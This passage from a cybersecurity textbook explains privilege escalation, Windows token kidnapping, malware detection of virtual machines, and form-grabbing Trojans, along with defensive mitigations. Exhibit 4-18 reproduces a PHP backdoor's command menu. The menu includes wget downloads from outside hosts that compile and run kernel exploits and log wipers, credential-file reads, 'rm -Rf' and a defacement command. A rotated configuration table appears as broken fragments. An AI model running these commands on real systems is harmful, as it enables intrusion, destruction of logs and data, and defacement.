beyond the vulnerable application. Although restricting user privi-
leges does not eliminate the threat of malicious code, in many cases 
it does limit the damage and provide valuable information during an 
incident response.

User access control is a powerful tool to limit what users can do, 
including files they can access, network resources, and important 
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configuration settings. In the corporate network environment, many 
organizations use limited user accounts to prevent damage from mali-
cious code. In this way, administrators prevent attackers from modify-
ing critical system files, writing to directories (such as \WINDOWS\ 
or \Program Files\), and modifying registry values. Similarly, services 
often run with limited user accounts, such as a specific user for a Web 
server. Malicious code that runs as a limited user is less dangerous 
because it can only access or modify resources to which the infected 
user has permission.

Vulnerabilities that increase the privileges of the current user, 
known as privilege escalation, are a serious problem for desktops and 
servers, and these vulnerabilities affect all operating systems. In this 
section, we discuss attacks against Linux servers, Windows servers, 
and Windows desktops, attacks that all attempt to gain administra-
tor permissions after compromising a limited account. Such attacks 
indicate the importance of limiting exposure within other parts of 
the system and using multiple levels of defense, which could prevent 
damage when attackers use privilege escalation attacks.

4.2.6.1 Many Users Already Have Administrator Permissions Users 
and even programmers frequently use administrator permissions on 
Microsoft Windows systems for convenience. Similarly, many mali-
cious code authors do not anticipate executing their malicious pro-
grams as limited users; therefore, such programs often fail to function 
correctly. Many malicious code authors create files directly in the \
WINDOWS\system32\ directory, load new drivers such as network 
sniffers, install browser helper objects (BHOs), or register startup 
entries. Administrators can prevent many of these actions by employ-
ing limited user accounts.

Automatic malicious code analysis environments such as the iDe-
fense Automatic Rapid Malcode service, Anubis, ThreatExpert, 
CWSandbox, and Joebox even run code as administrators because 
malicious code commonly requires it. Many administrators do not 
need to give administrator permissions to regular users. In giving 
them limited permissions, administrators will reduce the risk that 
malicious code will affect users.

There are rare cases for running services with administrator per-
mission on servers, but applications should not normally need elevated 
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permissions to run. Services that require root to function should 
whitelist allowed IP addresses to allow access, should use authenti-
cation before gaining access (via a virtual private network [VPN]), 
and must be highly restricted and evaluated for vulnerabilities if the 
services are widely available.

4.2.6.2 Getting Administrator Permissions Anecdotally, it is more com-
mon that application developers will fix other vulnerabilities before they 
fix privilege escalation vulnerabilities. There are many reasons for this. 
Developers often consider code execution vulnerabilities more serious 
than privilege escalation vulnerabilities. Fixes can be more difficult due 
to architecture and design choices, making the authentication system 
closely integrated with functionality. Developers frequently consider 
privilege escalation vulnerabilities less serious because they require a 
valid user account or another vulnerability to affect a vulnerable sys-
tem. However, unpatched privilege escalation vulnerabilities make any 
other vulnerability on the system more serious and amplify the danger 
because an attacker who successfully compromises a user account can 
use the vulnerability to gain full administrator permissions.

Although rare in comparison, there are many notable examples 
of malicious code that affects users even when they use limited 
accounts. iDefense previously documented Tigger in the Malicious 
Code Summary Report for December 24, 2008.31 The Tigger Trojan 
horse gains administrator privileges exploiting MS08-066, a vulner-
ability in the Windows Ancillary Function Driver, and has the same 
impact on administrator accounts as it does for limited users who are 
vulnerable to MS08-66. The exploit that these malicious code authors 
used is clearly based upon the exploit code that is publicly available 
from milw0rm. milw.0rm no longer exists, but Securiteam created a 
backup of the file New ource, Microsoft Windows AFD sys Privilege 
Escalation (Kartoffel Plugin Exploit, MS08-066).32

Attackers may distribute modified backdoor shells that allow them 
to exploit various local escalation vulnerabilities after they exploit a 
server. For example, an actor modified the Locus7s Modified c100 
Shell backdoor PHP script to include a variety of different ways 
to gain administrator or additional permissions (see Exhibit 4-17). 
Exhibit 4-18 displays a select option for identifying misconfigured 
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accounts and gaining privileges by using a dropdown menu from the 
Locus7s Modified c100 Shell backdoor.

These commands allow the attacker to list users, find set user ID 
(suid) binaries in several different locations, find users without pass-
words, gather information about the system, remove logs of activ-
ity, and download, compile, and execute various privilege escalation 
attacks. Suid is a permission flag, which allows an executable file to 
run as another user when executed. There are several reasons why an 
administrator would want to use suid (e.g., he or she wants users to 
submit something to which they do not already have access). Suid 
files are dangerous and often contain vulnerabilities that allow for the 
escalation of privileges.

Attackers also commonly use privilege exploits against servers by 
uploading exploits after identifying version numbers. An attacker 
may execute the command “uname –a” and then find an exploit that 
affects that particular system. As an example, the Internet Storm 
Center recently reported that attackers uploaded an exploit for CVE-
2008-1436, a vulnerability in the Microsoft Distributed Transaction 
Coordinator, to several Microsoft Windows 2003/2008 servers after 
compromising a Web application and uploading an ASP backdoor.33 
The escalation attack allowed the attacker to install another backdoor 
that runs as the system-level user, giving the attacker unrestricted 
access to the server. There are many local exploits that attackers use 
to gain permission once they are on a system; as an example, an 
archive of local root exploits is available at hxxp://www.leetupload.
com/database/Local%20Root%20Exploits/. This example also shows 
that attackers often target Windows and Linux and highlights the 
importance of patching privilege escalation vulnerabilities quickly 
because they allow an attacker who has already compromised a lim-
ited user account to gain full access.

4.2.6.3 Conclusion Privilege escalation attacks remain relatively rare 
in comparison to the amount of malicious code that virus authors 
create. While limited user accounts raise the bar for attackers because 

Exhibit 4-17 A logo for a PHP backdoor.
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COMMAND DESCRIPTION

uname -a Kernel version

w Logged in users

lastlog Last to connect

find /bin [removed] -perm -4000 2> /dev/null Suid bins

cut -d: -f1,2,3 /etc/passwd | grep :: USER WITHOUT PASSWORD!

find /etc/ -type f -perm -o+w 2> /dev/null Write in /etc/?

which wget curl w3m lynx Downloaders?

cat /proc/version /proc/cpuinfo CPUINFO

netstat -atup | grep IST Open ports

locate gcc gcc installed?

rm -Rf Format box (DANGEROUS)

wget http://www.packetstormsecurity.org/UNIX/
penetration/log-wipers/zap2.c

WIPELOGS PT1 (If wget installed)

gcc zap2.c -o zap2 WIPELOGS PT2

./zap2 WIPELOGS PT3

wget http://ftp.powernet.com.tr/supermail/debug/k3 Kernel attack (Krad.c) PT1
(If wget installed)

./k3 1 Kernel attack (Krad.c) PT2 (L1)

./k3 2 Kernel attack (Krad.c) PT2 (L2)

./k3 3 Kernel attack (Krad.c) PT2 (L3)

./k3 4 Kernel attack (Krad.c) PT2 (L4)

./k3 5 Kernel attack (Krad.c) PT2 (L5)

wget http://precision-gaming.com/sudo.c wget Linux sudo stack overflow

COMMAND DESCRIPTION

gcc sudo.c -o sudosploit Compile Linux sudo sploit

./sudosploit Execute Sudosploit

wget http://twofaced.org/linux2-6-all.c Linux Kernel 2.6.* rootkit.c

gcc linux2-6-all.c -o linuxkernel Compile Linux2-6-all.c

./linuxkernel Run Linux2-6-all.c

wget http://twofaced.org/mig-logcleaner.c Mig LogCleaner

gcc -DLINUX -WALL mig-logcleaner.c -o migl Compile Mig LogCleaner

./migl -u root 0 Compile Mig LogCleaner

sed -i -e ‘s/<html>/HACKED BY LOCUS7S/g’ index.* index.* Mass Defacement

Exhibit 4-18 Options for identifying misconfigured accounts and gaining privileges.
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they do not immediately have system permissions, it is clear that they 
will attempt to gain additional privileges regardless of the system they 
are attacking. Although enforcing limited user privileges does not 
fully mitigate malicious attacks, organizations that follow this best 
practice will find it easier to perform incident response. First, they 
can audit what the user has access to read or modify, then they can 
evaluate whether an attacker attempted to gain privileges and access 
or modify files to which the user does not normally have access.

4.2.7 Token Kidnapping

The Windows operating system uses access tokens to determine 
whether a program has permission to perform an operation or interact 
with an object. These tokens are a fundamental part of the operat-
ing system’s access control safeguards. They provide permissions used 
in access control lists to grant or limit access to system components. 
Access control lists rely on the legitimacy of the tokens, and unau-
thorized access or privilege escalation is possible from a compromised 
token. A technique to compromise a token, known as token kidnap-
ping, thwarts access control lists, resulting in system compromise. 
This section discusses the basics of token kidnapping.

Token kidnapping is a technique to take over and use a token that 
is not originally available or assigned to an account. The desired result 
of token kidnapping is access to a token that has higher privileges 
than the original account. After obtaining a higher privileged token, 
the process has more permission to interact with the system than 
originally intended. This result allows privilege escalation that mali-
cious attackers seek when presented with limited access to the system. 
Exhibit 4-19 shows a high-level diagram of token kidnapping and 
should aid the reader in understanding the steps and flow of the pro-
cess. The diagram shows an attacker connecting to and impersonating 
a service to assign the process’ token to the thread. The attacker then 
duplicates a privileged account for system exploitation.

Token kidnapping involves impersonation tokens. As mentioned 
in Section 1.2.1 on Windows tokens, impersonation tokens identify 
threads within a process and have an associated impersonation level. 
For example, programs using the Microsoft Distributed Transaction 
Coordinator (MSDTC) use a network service token.
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The token level of impersonation is very important in token kid-
napping, as anonymous and identification-level tokens do not have 
sufficient privileges to carry out operations on the process’ behalf. 
The impersonation level allows the thread to perform operations with 
the permissions of the user running the process. For example, if the 
program using MSDTC does not have a token level of imperson-
ation, then it cannot operate with the permissions of the network ser-
vice. Exhibit 4-20 shows the MSDTC token for the network service 
account having a token level of impersonation.

For successful token kidnapping, an impersonated user needs to 
acquire the permissions of another higher privileged account. The 
higher privileged accounts are vital as each process and thread have 
their own access control list. These access control lists define who can 
access the thread or process and what operations they may perform. 
The PROCESS_DUP_HANDLE access right is a necessity to dupli-
cate object handles in another process. The object handle duplicated in 
token kidnapping is the handle to the privileged token.

Attacker

Service �read

Impersonation
Token

Local System

1. Connect to Service
2. Impersonate a Service to Assign
 the Process’s Token to �read
3. Duplicate Privileged Token in
 �read
4. Use Privileged Token from �read
 for System Exploitation

3

4

2

1

Process Token

Privileged Token

Service Process

Exhibit 4-19 A visual representation of the token-kidnapping process.

Handle value: 0000071C
User: NT AUTHORITY\NETWORK SERVICE
Privileges: SeCreateGlobalPrivilege SeImpersonatePrivilege SeChangeNotifyPrivilege
Token type: Impersonation
Token level: SecurityImpersonation

Exhibit 4-20 Process tokens after initializing Microsoft Distributed Transaction Coordinator 
(MSDTC) with SeImpersonate enabled.
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As discussed in Section 1.2.1 on Windows tokens, the PROCESS_
DUP_HANDLE is a permission granted to a primary token since it 
applies to a process and not an impersonation token that corresponds 
to a thread. Token kidnapping requires obtaining the PROCESS_
DUP_HANDLE permission to duplicate the privileged token; how-
ever, because services typically handle connections and requests in 
threads within the process, token kidnapping has to start with the 
thread’s impersonation tokens.

The impersonation token must have THREAD_SET_CONTEXT 
and THREAD_QUERY_INFORMATION access rights to obtain 
the process’ token. A token with the THREAD_SET_CONTEXT 
permission provides the ability to send asynchronous procedure 
calls. An impersonation token with the THREAD_QUERY_
INFORMATION permission allows opening the token that the 
thread is currently impersonating.

Using asynchronous procedure calls—specifically, the 
QueueUserAPC function—allows a thread to execute any functions 
loaded within the process. The use of QueueUserAPC to call the 
ImpersonateSelf function within the process assigns the process’ token 
to the thread. Thanks to the THREAD_QUERY_INFORMATION 
permission, the thread can use the process’ token to gain access to the 
PROCESS_DUP_HANDLE.

Once the PROCESS_DUP_HANDLE is available, a token-kid-
napping opportunity presents itself. Duplicating the handle to the 
higher privileged token, such as the system level, provides privilege 
escalation and complete system compromise. Exhibit 4-21 shows a 
screenshot of an iDefense-created token-kidnapping utility that is 
elevating privileges from those of a user named w4nt4 to those of 
SYSTEM using the process previously discussed.

Exhibit 4-21 Successful privilege escalation from token kidnapping.
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The above process allows exploitation of Windows by any user with 
the SeImpersonate privilege; Microsoft released the MS09-012 advi-
sory to address this issue. This advisory makes architectural changes to 
thwart token kidnapping related to the CVE-2009-0079 and CVE-
2009-0078 vulnerabilities. Both of these classify as service isolation 
vulnerabilities because they allow two services running with the same 
identity to access each other’s tokens.37

The architectural change-back ports Vista’s Security Identifier 
(SID) into previous versions of Windows to prevent services running 
under the same account from accessing each other’s tokens. The SID 
can include permissions within the process to allow only the process’ 
SID to have access to its resources. For example, acquiring a network 
service token by connecting to a Windows service, such as MSDTC, 
would no longer have any privileges to access the threads. Additionally, 
this revokes access to the tokens contained inside the process. The 
MS09-012 advisory also addresses the CVE-2008-1436 vulnerabil-
ity by implementing permission changes. CVE-2008-1436 covers the 
MSDTC service isolation vulnerability that MS09-012 patched.38 
The client side of the MSDTC transaction did not require a token 
with the token level set to impersonation, so Microsoft changed it to 
an identification token. This allows verification that the token belongs 
to a network service but nothing more than that. This limits the abil-
ity to carry out token-kidnapping techniques.

Token kidnapping requires the attacker to gain access to an account 
with the SeImpersonate privilege. This privilege allows the user to 
impersonate other users using tokens. Without it, none of these vul-
nerabilities is exploitable in the manner described. On a local system, 
by default, services and administrators have this right, but nobody 
else does; however, settings on a system have a habit of changing, and 
an account permissions audit could reduce token-kidnapping oppor-
tunities. To check which groups and users have the SeImpersonate 
privilege enabled on a local computer, a user could run the command 
secpol.msc. Exhibit 4-22 shows a screenshot of the Local Security 
Settings manager displaying the users with the SeImpersonate privi-
lege enabled. The SeImpersonate privilege lists as “Impersonate a cli-
ent after authentication.” Double clicking this entry will present a 
dialog box that allows modification of the groups and users with this 
right enabled. There are many consequences of granting this access 
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right, and it should be restricted so that only users and groups that 
require it have the privilege.

Token kidnapping leads to the escalation of privileges, which is 
attractive to an attacker burdened by a low-privileged account. If an 
attacker gains access to a limited user account with impersonation 
privileges, it is possible for token kidnapping to elevate permissions 
and lead to full system compromise. Minimizing the impact and 
likelihood of this technique requires Windows patching, particularly 
patches for service isolation vulnerabilities, and a least-privilege access 
model for group and user accounts. Implementing operating system 
patches would close gaps in access controls that token kidnapping 
exploits, and a least-privilege access model would thwart groups and 
user tokens from impersonating others.

4.2.8 Virtual Machine Detection

Malware analysts routinely use virtual machines (VMs) when ana-
lyzing malicious code samples. This section addresses the way an 
application, particularly a malicious application, can detect when it 
is running inside a virtual machine environment (VME) to change 
or terminate the application’s behavior to avoid giving up the applica-
tion’s secrets in environments in which security researchers frequently 
conduct malware analysis.

The use of virtual machines allows analysts to run malicious code 
without the risk of purposely infecting the analyst’s real workstation 
and servers. The use of virtual machines in honeypots gives analysts 
the ability to run a multitude of vulnerable configurations without the 
expense and administrative overhead associated with the deployment 
of a large server farm; however, the use of virtual machines by analysts 

Exhibit 4-22 Users with SeImpersonate privilege enabled.



	 mAliCious	Code	 237

© 2011 by Taylor & Francis Group, LLC

has not gone unnoticed by malware authors. While still a relatively 
small sample size, several families of malware are “VM aware.”

4.2.8.1 Fingerprints Everywhere! Virtual machines rely on a host 
application known as the virtual machine monitor (VMM). The 
VMM, as described in Section 1.1.7 is responsible for providing the 
glue between the host machine and the virtual machines. The VMM 
attempts to provide a realistic copy of actual hardware architecture 
while at the same time providing suitable performance. To that end, 
the VMM makes certain concessions.

A variety of different methods exist to create the VME within the 
confines of the host machine. The VMM may use full virtualization, 
paravirtualization, hardware-assisted virtualization, operating-system-
assisted virtualization, or emulation. Each of these techniques requires 
the VMM to make adjustments to the VME for the underlying host 
machine to support the VME. Applications, typically malicious appli-
cations, may find one of the easiest identifiable fingerprints left behind 
in this process in the virtual devices generated by the VMM.

When an administrator or user constructs a new VME in prod-
ucts such as VMware’s Workstation or Server, the operating system 
(OS) loaded into the VME (known as the guest OS) must be able 
to locate and load drivers for the various hardware devices typically 
found in a real computer. Devices such as hard drives, video cards, 
and network interface cards (NICs) typically contain identifier strings 
for the manufacturer of the device. When the device is virtual, as is 
the case in a VME, it is not uncommon for the author of the virtual 
machine application (the application responsible for the VMM) to 
embed strings identifying the software developer as the manufac-
turer. Applications can locate these strings easily by querying the var-
ious devices or looking at the Windows registry (when the guest OS 
is Windows based). Exhibit 4-23 shows the abundance of VMware-
identified devices found in a typical installation of Windows XP in a 
VMware Workstation 6.5 VM.

The identifiers found in VMware virtual devices are consistent 
regardless of the method by which a user configures VMware with 
regard to virtualization versus emulation; therefore, if the user spe-
cifically configures VMware such that the VM is effectively running 
in emulation mode (instead of a virtualization mode), an application 
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can still easily identify the fact that it is running inside a VME. Tools 
to detect the presence of these identifiable strings in the guest OS’ 
Windows registry have been available since 2003. Tobias Klein’s VM 
detection kit, Scooby Doo,34 is an early example of detecting VMEs 
using the strings method.

Strings alone are not reliable indicators of the presence of a VME. 
Researchers have found that by using a hex editor, a skilled adminis-
trator can relabel the virtual devices generated by the VMM to the 
point that the string method for identifying VMEs is ineffective. 
Depending on the complexity of the method, simple changes such as 
changing VMware to rawMV in the virtual application’s binaries and 
supporting files can easily defeat tools that look for string matches.

4.2.8.2 Understanding the Rules of the Neighborhood When the VMM 
uses virtualization instead of emulation to generate the VME, the 

Exhibit 4-23 VMware-labeled devices in a VMware workstation virtual machine.
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VMM must make specific modifications to the guest OS that would 
otherwise seem inconsequential. Using VMware as the example vir-
tual application again, in its default configuration, VMware utilizes 
the host machine’s processor to execute CPU instructions from the 
guest OS inside the VME. This type of virtualization allows the 
VME to operate and respond more rapidly than when configured to 
run in emulation-only mode; however, the use of the host CPU to 
run the guest OS causes certain conditions to exist in the VME that 
would not otherwise exist in a real machine.

Operating systems such as Windows and Linux that run on the 
x86 architecture rely on a special type of CPU mode known as pro-
tected mode (or protected virtual address mode). This mode allows the 
memory manager within the CPU to map physical memory to any 
virtual address space (virtual address space in this case does not refer 
to the VME’s memory but to the abstract concept of how the CPU 
addresses memory). This feature is the basis of most modern memory 
management systems in today’s operating systems. The basic princi-
ple behind the use of virtual address space is that, regardless of the 
amount of physical memory present and the physical location of the 
memory, from the processor’s perspective, a 32-bit process can access 
up to 4 gigabytes of memory. The ability to map more virtual address 
space than physical memory allows modern operating systems to use 
page files to allocate more memory to applications than is physically 
available. The mechanics behind this, however, are beyond the scope 
of this book. What is important to understand about this memory 
management technique is where the information that provides this 
physical-to-virtual address space mapping is located.

Special tables known as the local descriptor table (LDT) and the 
global descriptor table (GDT) provide the necessary information for 
the CPU to map physical memory to virtual addresses. These tables 
give the CPU enough information to map every memory address 
available to the physical memory. The processor uses two special reg-
isters to hold the location of these two tables. Intel identifies these 
registers as the local descriptor table register (LDTR) and the global 
descriptor table register (GDTR).

The CPU has the limitation that only one set of GDTs and LDTs 
are active at any given time. This is a problem when running more than 
one operating system at the same time on the same physical machine. 
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One solution to this problem for a VMM is to move the guest OS’ 
GDT and LDT to a different location than would normally be used. 
This prevents the host machine’s operating system’s GDT and LDT 
tables from being overwritten by the guest OS. Since most operating 
systems expect to be the only operating system present on a computer 
at one time, operating systems have a very specific location for their 
GDT and LDT tables. When the VMM moves the guest OS’ GDT 
and LDT to a new memory location, an inconsistency between the 
VME and a real machine exists. From this inconsistency, applications 
can determine the presence of a VME. The Scooby Doo package can 
reliably determine the presence of a VME using this method.

The x86 architecture retains one more set of system-critical memory 
structures, which can result in detectable inconsistencies. The interrupt 
descriptor table (IDT) is a data structure used by the CPU to deter-
mine where in memory to execute in response to an interrupt event. 
The CPU holds the location of the IDT in the interrupt descriptor table 
register (IDTR). Like the GDT and the LDT, the CPU can only han-
dle one IDT at a time. To prevent a conflict on the host machine, the 
VMM must move the guest OS’ IDT to another location that the OS 
would normally not use on a real machine. This, as seen with the GDT 
and the LDT, presents an opportunity for the application to determine 
the presence of a VME due to the IDT existing in a location outside of 
the normal IDT location for the given operating system.

4.2.8.3 Detecting Communication with the Outside World Virtual appli-
cation developers use special attributes of the VME to facilitate com-
munication and interoperability between the VME and the host 
machine’s operating system. It is these attributes that allow users to 
drag and drop files between the host machine’s operating system and 
the guest OS. It is also these attributes that give applications the abil-
ity to detect the presence of a VME.

VMware includes a communication input–output (I/O) port to 
provide a direct communication channel between the guest OS and 
the host machine. Known as the ComChannel, the I/O allows the 
VMware tools package to provide interoperability between the guest 
and the host. The I/O port used by the ComChannel is specific to 
VMware’s VMEs. The same I/O location on a real machine does not 
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exist. By initiating communication with this I/O port, an application 
can quickly determine the presence of a VME.

Both VMware and VirtualPC fail to execute all x86 instructions in 
the exact same manner as a real x86 CPU would. This inconsistency 
between the real CPU and the virtual CPU can reveal the presence of 
a VME. VMware takes this inconsistency a step further by introducing 
instructions not found on a physical CPU. The virtual machine’s pro-
cessor uses these instructions to communicate between the VME and 
the host machine. On a real CPU, executing one of these instructions 
results in the CPU throwing an invalid opcode exception, but inside a 
VME, these instructions execute without fault. In 2005, a programmer 
by the name of lallous released a tool known simply as VmDetect.35 
VmDetect exploits the use of nonstandard (or invalid) processor 
instructions to identify VMEs. In 2006, eEye Research36 found that 
when running emulation mode, VMware fails to behave in the typical 
manner when a NEAR jump results in a jump outside the current code 
segment (CS). This behavior further complicates the problem faced by 
VMware’s inability to properly follow the x86 instruction set standard. 
When run in a particular mode, the x86-based CPU defines a segment 
(a 64 kb window of memory) as the CS. A NEAR jump is limited in 
the range of memory addresses that it can move the instruction pointer 
to the 64 kb window. When an executable sets up a NEAR jump that 
would breach the CS boundary on a real CPU, the CPU generates an 
exception and the instruction pointer (EIP) remains within the defined 
CS; however, when this event occurs in a VMware VME, the vir-
tual CPU generates an exception and sets the EIP by calculating the 
jump location, which exists outside the CS. When VMware’s VMM 
uses virtualization instead of emulation, the behavior matches the real 
CPU’s behavior since the host machine’s CPU actually executes the 
malformed instruction. The advantage of this behavior, from an appli-
cation’s point of view, is that even when running in a fully emulated 
VME that would otherwise show few signs of VME modifications 
such as the IDT, LDT, and GDT location inconsistencies, an applica-
tion still determines the presence of a VME.

4.2.8.4 Putting It All Together Klein updated his Scooby Doo package 
in 2008 to increase the effectiveness of detecting a VME. Known as 
ScoobyNG, the VME detection system performed the following tests:
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 1. IDT test
 2. LDT test
 3. GDT test
 4. Incorrect response to standard processor instruction test
 5. ComChannel “version” test
 6. ComChannel “memory size” test
 7. Incorrect “near execution transfers” emulation test (NEAR 

jump)

On a default installation of VMware, ScoobyNG is highly effective at 
determining the presence of a VMware VME. ScoobyNG generates 
six out of seven positive responses when applied to a default VMware 
VME, as seen in Exhibit 4-24.

Without significant modifications to the VMware VME, an appli-
cation can determine the presence of the VME regardless of the VME’s 
mode (emulation or virtualization). When VMware VMM uses vir-
tualization, the IDT, LDT and GDT tests will reveal the VME. 
When the VMM uses emulation, the NEAR jump test will give away 
the VME. Combined, these two sets of tests give suitable coverage to 
allow an application to determine the presence of a VME.

Exhibit 4-24 ScoobyNG testing a default VMware VME.
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4.2.8.5 The New Hope Despite the shortcomings in the VMEs, it is 
possible to configure virtual applications such as VMware to prevent 
VME detection. Administrators and users can reconfigure a VMware 
VME in a relatively short period of time to pass many of the VME 
tests. Using the settings in Exhibit 4-25, six of the seven ScoobyNG 
tests will fail to reveal the presence of the VMware VME, as would 
VmDetect. Administrators could apply similar settings to other vir-
tual applications. Exhibit 4-26 shows the result of these settings from 
the perspective of ScoobyNG and VmDetect.

The remaining problem is the NEAR jump issue that reveals the 
emulated VME. The NEAR jump test requires the creation of a 
new code segment. To construct a new code segment, the applica-
tion must call the application programming interface (API) function 
ZwSetLdtEntries to create a new LDT entry. For a malware analyst to 
defeat the NEAR jump test, he or she must develop a method to pre-
vent ZwSetLdtEntries from being successfully called. Simply patch-
ing the ntdll.dll file that contains the function is ill advised, given that 
the function is critical to the startup sequence of Windows. On the 
other hand, using one of the many widely available autostart features 
of Windows to run a runtime patching program may prove fruitful.

4.2.8.6 Conclusion Applications can exhibit unique behavior or 
simply fail to operate when running in a VME. The ways in which 
malware authors can detect the presence of a virtual machine are con-
tinuing to grow, giving malware authors more ways to prevent their 
creations from running in VMEs. Fortunately, while the number 
of tests increases, the number of workarounds to defeat these tests 
quickly catches up.

4.3 Stealing Information and Exploitation

4.3.1 Form Grabbing

Key logging, once the favored method of capturing user input, has 
largely given way to form-grabbing Trojans, which provide much 
cleaner, better structured data. Whereas key loggers target keystrokes 
and therefore miss sensitive data that a user may paste into a form or 
select via an options dropdown, form grabbers target Web applications 



244	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

TE
ST

CO
NF

IG
UR

AT
IO

N 
OP

TI
ON

EX
PL

AN
AT

IO
N

ID
T/

LD
T/

GD
T, 

in
va

lid
 in

st
ru

ct
io

ns

is
ol

at
io

n.
to

ol
s.

ge
tP

trL
oc

at
io

n.
di

sa
bl

e 
=

 “
TR

UE
”

is
ol

at
io

n.
to

ol
s.

se
tP

trL
oc

at
io

n.
di

sa
bl

e 
=

 “
TR

UE
”

is
ol

at
io

n.
to

ol
s.

se
tV

er
si

on
.d

is
ab

le
 =

 “
TR

UE
”

is
ol

at
io

n.
to

ol
s.

ge
tV

er
si

on
.d

is
ab

le
 =

 “
TR

UE
”

m
on

ito
r_

co
nt

ro
l.d

is
ab

le
_d

ire
ct

ex
ec

 =
 “

TR
UE

” 
m

on
ito

r_
co

nt
ro

l.d
is

ab
le

_c
hk

si
m

d 
=

 “
TR

UE
”

m
on

ito
r_

co
nt

ro
l.d

is
ab

le
_n

tre
lo

 =
 “

TR
UE

”
m

on
ito

r_
co

nt
ro

l.d
is

ab
le

_s
el

fm
od

 =
 “

TR
UE

”
m

on
ito

r_
co

nt
ro

l.d
is

ab
le

_r
el

oc
 =

 “
TR

UE
”

m
on

ito
r_

co
nt

ro
l.d

is
ab

le
_b

tin
ou

t =
 “

TR
UE

”
m

on
ito

r_
co

nt
ro

l.d
is

ab
le

_b
tm

em
sp

ac
e 

=
 “

TR
UE

”
m

on
ito

r_
co

nt
ro

l.d
is

ab
le

_b
tp

riv
 =

 “
TR

UE
”

m
on

ito
r_

co
nt

ro
l.d

is
ab

le
_b

ts
eg

 =
 “

TR
UE

”

Th
es

e 
co

nfi
gu

ra
tio

n 
op

tio
ns

 p
re

ve
nt

 th
e 

VM
E 

fro
m

 
us

in
g 

th
e 

ho
st

 p
ro

ce
ss

or
 fo

r d
ire

ct
 c

od
e 

ex
ec

ut
io

n.
 

Es
se

nt
ia

lly
, t

he
se

 c
on

fig
ur

at
io

n 
op

tio
ns

 p
la

ce
 th

e 
VM

E 
in

to
 fu

ll 
em

ul
at

io
n 

m
od

e.

Co
m

Ch
an

ne
l

m
on

ito
r_

co
nt

ro
l.r

es
tri

ct
_b

ac
kd

oo
r =

 “
TR

UE
”

Th
es

e 
co

nfi
gu

ra
tio

ns
 d

is
ab

le
 th

e 
Co

m
Ch

an
ne

l 
po

rt,
 p

re
ve

nt
in

g 
VM

 d
et

ec
tio

n 
co

de
 fr

om
 u

si
ng

 th
e 

po
rt 

to
 id

en
tif

y V
M

Es
.

Ex
hi

bi
t 4

-2
5 

VM
wa

re
 c

on
fig

ur
at

io
ns

 to
 re

du
ce

 V
M

E 
de

te
ct

io
n.



	 mAliCious	Code	 245

© 2011 by Taylor & Francis Group, LLC

by capturing the form’s data elements before the user submits it. In 
this way, a form grabber yields the same key and value pairs received 
by the Web application, thereby assuring accurate and complete infor-
mation. Several families of malicious code employ this technique, and 
defending against it requires preventing the initial installation of the 
Trojan via antivirus signatures and limiting user privileges to prevent 
the installation of browser helper objects (BHOs).

Once deposited on a system, Trojan horses can steal data from a 
system using many methods. For years, key loggers reigned as the 
kings of data theft, but key log data can be messy and the technique 
misses any data the user adds without using the keyboard. This sec-
tion explains form grabbing, a more precise data theft technique that 
modern malicious code targeting Web browsers commonly uses.

Key loggers capture every key typed into a system, but this mechanism 
is flawed for certain types of data theft. For instance, when a user copies 
his or her sensitive data from one file and pastes it into another place, 
the key logger will only record [CTRL]+c followed by [CTRL]+v, and 
that is only if the user used keyboard shortcuts rather than the mouse to 
issue each command. Key loggers also have problems with Web forms 
similar to the one shown in Exhibit 4-27. While the key logger captures 
all of the data typed into the form, it will completely miss the “state” 

Exhibit 4-26 ScoobyNG and VmDetect after applying VME detection prevention configuration.
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value, as the user enters this value using a dropdown list. To solve this 
problem, clever attackers invented a technique best known as form grab-
bing, as the Trojan “grabs” the form before the user submits it and then 
reports it to a command-and-control (C&C) server.

While key loggers typically record data for all programs on a sys-
tem, form grabbers are specialized and only target data sent through a 
Web browser. When a user submits a Web form, such as those used to 
log onto a website, his or her Web browser generates an HTTP POST 
request that sends the data entered to the site. These data are normally 
encrypted using transport layer security (TLS) since it is very insecure 
to transmit logon and password data in cleartext. Form grabbers work 
by intercepting the POST data before the data pass through encryp-
tion routines.

Capturing the data at this stage has multiple advantages. Unlike 
key loggers, a form grabber will capture the “state” field in the form 
shown in Exhibit 4-27. The attacker will also capture precisely what 
the user intended to submit. If the user made a typo when writing his 
or her password and corrected it, a key logger might capture the fol-
lowing text:

secer[BACKSPACE][BACKSPACE]ret

While the key logger captured the entire password, it only recorded 
the keys the user typed and must reconstruct them and perform 

Exhibit 4-27 An example input form with a dropdown list.
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additional analysis to determine that this is the user’s password. Form 
grabbers not only solve problems caused by typos, and copy and paste, 
but also capture the names of the variables that the Web page uses to 
define the data. Exhibit 4-28 is an example of the data captured by the 
Nethell/Limbo Trojan.

The form grabber captured each of the variables individually, includ-
ing the variables named pass and e-mail, which require little analysis 
to determine that these are the user’s credentials. Additionally, the 
form grabber captured the URL for which the data was destined and 
the title of the page to correlate the user’s credentials with the appro-
priate website. These abilities make form grabbers superior to key log-
gers, and as such, they have become the dominant form of credential 
theft for modern malicious code. Key loggers remain the best choice 
for capturing data not entered into Web forms, such as system logon 
passwords, since this information does not pass through form-grab-
bing code.

To grab forms, a Trojan places itself between the Web browser 
and the networking stack, where valuable information passes through 
encryption functions before transmission. There are many ways for a 

Data Type

Data Captured

URL
[https://login.facebook.com/login.php?login_attempt=1]

Title
Welcome to Facebook! | Facebook

Variable 1
locale=en_US

Variable 2
email=testuser_123

Variable 3
pass=secret

Variable 4
pass_placeholder=Password

Exhibit 4-28 Data captured by the Nethell/Limbo Trojan.
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Trojan to do this. The networking stack is software provided by the 
operating system that other programs use to send information across 
the Internet.

One way Trojans can insert themselves between the browser and 
the networking stack is to install a BHO that watches for calls to the 
Windows HttpSendRequest functions and silently extracts the data 
from the POST before passing them on.37 Rather than use a BHO, 
the Trojan could simply inject a dynamic link library (DLL) into Web 
browsers on the system each time they are launched and monitor for 
calls to HttpSendRequest. The Trojan could also alter WININET.
DLL, which contains the Windows HTTP functions, to pass all 
requests to its code before sending the data on. There are many ways 
to implement a form grabber, but the key to success is intercepting 
data before encryption.

Malicious actors use the most common form grabber in the wild 
today, Zeus, primarily to target online banking websites. Zeus and 
most other form grabbers report stolen data by sending HTTP POST 
messages to a C&C server configured by the attacker. This server takes 
the information and stores it in files or a database that the attacker can 
search to retrieve valuable credentials.

Form grabbing is a data theft technique implemented by many 
information-stealing malicious code families. To mitigate the threat 
from form grabbers, administrators should deploy countermeasures 
to prevent the installation of these Trojans. Antivirus engines com-
monly detect information-stealing Trojans; however, they will not be 
